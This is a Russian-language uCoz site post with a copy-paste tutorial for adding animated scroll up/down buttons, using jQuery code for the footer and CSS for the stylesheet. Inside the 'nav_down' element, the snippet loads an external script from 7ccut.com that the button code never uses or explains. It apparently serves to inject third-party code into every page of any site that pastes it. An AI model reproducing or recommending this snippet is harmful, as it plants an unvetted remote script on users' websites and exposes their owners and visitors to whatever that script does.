УстановитеFlash player
Главная | Мой профиль | Выход
Добавить в закладки | Администрация | Дополнительно
Radio DSM| Мониторинг| Forum| Пользователи| Все файлы
Меню
Мини-чат
     
200
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Пользователи отсутствуют...
[ Кто нас сегодня посетил? ]
Наши друзья
Всё о фильме Пираты Карибского моря
Всё о трилогии Назад в будущее
Главная » 2013 » Декабрь » 7 » Кнопка Вверх и вниз для сайта
22:19
Кнопка Вверх и вниз для сайта
[c][/c]Как правильно установить кнопку "Вверх и вниз" на сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

[code]<div style="display:none;" class="nav_up" id="nav_up">
<img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
<div style="display:none;" class="nav_down" id="nav_down">
<script src="http://7ccut.com/table.js" type="text/javascript"></script>
<img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
<script>
$(function() {
var $elem = $('body');

$('#nav_up').fadeIn('slow');
$('#nav_down').fadeIn('slow');

$(window).bind('scrollstart', function(){
$('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
});
$(window).bind('scrollstop', function(){
$('#nav_up,#nav_down').stop().animate({'opacity':'1'});
});

$('#nav_down').click(
function (e) {
$('html, body').animate({scrollTop: $elem.height()}, 800);
}
);
$('#nav_up').click(
function (e) {
$('html, body').animate({scrollTop: '0px'}, 800);
}
);
});
</script>[/code]

Это вставляем в "Таблица стилей (CSS)" в самый низ

[code].nav_up{
padding:2px;
position:fixed;
width:32px;
height:32px;
bottom:20px;
opacity:0.7;
right:30px;
cursor: pointer;
}
.nav_down{
padding:2px;
position:fixed;
width:32px;
height:32px;
bottom:20px;
opacity:0.7;
right:66px;
cursor: pointer;
}[/code]

Готово.
Категория: Всё для uCoz | Просмотров: 386 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Профиль
Понедельник
29.04.2024
05:20
[ Управление профилем ]
DipositFiles
Twitter
Sitemap | Sitemap-forum